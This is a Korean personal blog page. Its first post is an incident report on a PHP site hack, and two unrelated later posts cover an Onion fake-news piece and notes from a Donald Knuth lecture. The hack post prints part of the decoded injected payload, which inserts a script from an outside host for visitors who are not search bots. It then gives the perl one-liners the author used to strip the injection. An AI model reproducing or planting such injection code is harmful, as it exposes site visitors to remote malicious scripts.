Notes for vision-oriented me

PHP eval(base64_decode 해킹

May 7, 2010 by mcpanic  
Filed under 컴퓨터이야기

호스팅 해서 쓰고 있는 계정의 모든 PHP 파일의 첫줄에

<?php /**/ eval(base64_decode(“….”); ?>

이 삽입되는 해킹을 당했다. 유사한 사례를 찾아보니 인터넷에 좀 있기는 하다. 이 곳에 언급된 피해사례와 거의 동일하다.

 

다행히 손실되거나 한 데이터는 없는데, 이 일이 있고나서 방금 전까지 12시간여동안mcpanic.com/juhokim.com 을 방문한 분들은 좀 놀랐을듯. 죄송합니다… PHP 스크립트를 사용하는 동작을 하면 갑자기 이상한 URL 로 자동 리다이렉트 되는 문제가 생긴다. 첫줄에 있는 base64_decode 안에 있는 코드가 실행이 되면서 엉뚱한 곳의 코드를 실행하는 것이다. decode 를 해보니 볼드체로 된 URL 에 있는 스크립트를 실행한다.

 

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){  
    $GLOBALS['mr_no']=1;  
    if(!function_exists(‘mrobh’)){     
        if(!function_exists(‘gml’)){    
            function gml(){     
                if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){      
                    return “<script src=’http://zettapetta.com/js.php’></script”;     
                }     
                return "";    
            }   
        }  

<후략>

 

워낙 많은 파일들이 피해를 입어서 일괄적으로 수정을 하기 위해 오랜만에 regular expression 을 끄적거렸다. 일단 어떤 파일들이 피해를 입었는지 보기 위해서 grep 으로 살펴봤더니 모두 PHP 파일이었고, 첫줄에만 피해가 있었다. 일괄적으로 수정하는 한줄의 코드를 실행시켜서 일단 급한 불을 껐다. Perl 의 –i 플래그에 확장자를 붙여주면 변경하기 전 파일을 복사해 확장자를 붙여 저장해 준다.

 

find ./ -name "*.php" | xargs perl -i.bak -p -e ‘s/\<\?php \/\*\*\/ eval\(base64_decode\(\".*\"\)\)\;\?\>//’;

 

그랬더니 PHP 파일 최상단에 빈줄이 생겨 제대로 동작하지 않는 문제가 발생했다. 역시 이런건 한번에 깔끔하게 하기가 쉽지 않다. 그래서 맨 위 5줄에 있는 빈줄을 모두 없애기 위해 다시 한번, ‘close ARGV if eof’ 를 해주지 않으면 current line number 인 $. 가 계속해서 올라가기 때문에 원하는 동작을 하지 않는다.

find ./ -name "*.php" | xargs perl -i.hack3 -p -e ‘s/^\s*$// if $.<5; close ARGV if eof’;

 

PHP 의 보안이나 다른 어딘가에 보안 구멍이 있는 것 같은데, 보안 쪽은 영 문외한이라 어디부터 손봐야할지 모르겠다. 혹시 비슷한 경험이 있거나 예방책 등을 아시는 분은 애정어린 조언을 부탁드립니다!

키보드 없는 Macbook Wheel 출시?!

January 10, 2009 by mcpanic  
Filed under 컴퓨터이야기


Apple Introduces Revolutionary New Laptop With No Keyboard

정신 똑바로 차리지 않고 보면 진짜라고 믿을 수밖에 없다! ㅋㅋㅋ 근데 이거 진짜 이런 컨셉으로 애플이 준비하고 있을 것도 같다.

그나저나 The Onion, 대단하다. 가짜 뉴스를 전문적으로 만드는 서비스라.. 이 정도 퀄리티로 만들면 낚시하기 너무 좋잖아!

한국서 만우절 때 대학신문 생각이 난다. 그럴듯한 낚시글만 모아서 아예 한 면에 가상기사만 실었었는데.. 여기 재밌는 글이..

우리나라에서는 대학가에서 유사한 사건(?)이 있었습니다.
2년전 서울대 학보인 대학신문은 만우절판 신문을 발행하면서 “서울대 민영화, LG가 인수하기로”란 제목의 기사를 실었습니다.
이 기사는 이기준 총장이 사외이사로 있던 LG측이 서울대를 극비리에 인수키로 함에 따라 등록금이 2배 이상 인상되고 대대적인 직원 감축이 실시될 것이라는 내용을 담았습니다.
서울대 민영화 기사외에도 대학신문은 고시반 신설, 교내에 지하철 생긴다, 버들골 이용료 받고 개방, 학생회관 식당 오늘 무료 등 5개의 가상기사도 함께 실었습니다. 기사가 나간후 실제로 학생회관 식당앞에는 ‘사실과 다르다’는 안내문이 붙는 촌극까지 벌어지기도 했었습니다.  – 백승운 기자의 어이! 편집 초보에서…

Donald Knuth 교수 강연

January 3, 2009 by mcpanic  
Filed under 컴퓨터이야기

작년 10월 8일, Donald Knuth 명예교수의 강연이 있었다. 더이상 말이 필요없는 The Art of Computer Programming (TAOCP) 의 저자이자 컴퓨터 공학계의 거성. 2006년 쯤이었나 회사에서 이달의 우수사원인가 선정되었을 때 이 책 Volume 1~3을 선물로 받았던 기억이 난다. 작년 다이어리를 정리하다가 강연 때 적어놓은 노트가 있어서 뒤늦게나마 포스팅을..

  • 인상은 푸근한 옆집 할아버지. (1938년생) 키가 엄청 크고 티셔츠에 청바지를 입고 있었다. Jef Raskin 의 ‘Humane Interface’ 책 티셔츠를 입고 있었던 것이 인상적.
  • Theory와 Practice 사이의 balance를 찾는 것이 매우 중요하다. Practice 를 통해 Giant Step을 만들어 내기는 어려운 일이다. (진정한 발전의 driving force는 Theory 에서 온다는 점을 강조하려 한듯)
  • TAOCP의 현재진도: binary decision diagram 한 주제에만 17개월째 매달리고 있다. 이 토픽에 대해서만 400개의 저널을 읽었다.
  • TAOCP: 1962 년부터 집필시작. 47년째 일생의 역작이 될 이 책 작업중. 손으로 쓰고 있다! 현재까지 3000 페이지 정도 저술.
  • 아침에 일어날 때마다 더 뛰어난 계산법을 찾았다는 데에서 기쁨을 느낀다.
    참고로;; 힙합 뮤지션 버벌진트는 ‘누명’ 앨범에서 “내게 있어 승리라는 건
    거울 앞에 섰을 때 어제의 나보다 나은 자신을 맞이하는 것.” 이라고…
  • 나이가 문제되지는 않는가?
    “I’m not losing it yet.”
  • 인터넷이 미친 영향
    “No excuse for not knowing everything.”
  • Future Trend 는 어떻게 예상하면 좋을까?
    “싫어하는 것들을 모아서 이것들이 미래에 뜰 것이라고 이야기하면 된다.”
  • 요즘의 프로그래밍은 재미가 없다. “It has become a matter of looking up the library and reusable code, not creating own routines. Multiple manuals are open in programmer’s computer – This is not creative. Progreamming is becoming less and less creative.
  • CS 를 전공하기에 적합한 사람 (Born CS people) 은 인구의 1/50 정도이다. They structure knowledge in a nerdy way. Things we do resonate with computers. It’s a matter of mentality. It’s not a matter of how many want to do it, it’s a matter of how many CAN do it.
  • CS is not a goal-directed field. It’s a skill-directed field. Medicine, for example, is a goal-directed field.
  • 학제간 통합은 피할 수 없는 조류이다. 네트워크의 vertices 가 아닌 arcs 가 중요해지고 있다. 여기서 short path 를 찾는 노력이 중요하다.
  • Definition of Computer Science
    ”Study of concrete and abstract algorithms”
  • 참고로 지난학기 수업을 들었던 John Ousterhout 교수님은 Designing Abstractions 강의노트에서

The most fundamental element of computer science:

  • NOT algorithm design! Computers are fast enough to eliminate algorithmic considerations from most programming tasks.
  • The most important problem is managing complexity

       라고 이야기 하면서 Knuth 교수도 자기 주장에 동의했다면서 기뻐했다. 나도 이러한 의견에 동의하는 편.

어느덧 세달 가까이 지났지만 세계 최고의 컴퓨터과학자를 직접 만나 내가 몸담고 있는 학문에 대한 생각과 가치관을 들어볼 수 있었다는 사실이 아직도 강렬한 인상으로 남아있다. 나이는 숫자에 불과하다는 말을 몸소 보여주고 있는 그의 앞으로가, 지난 반세기의 과거만큼이나 기대된다.

Next Page »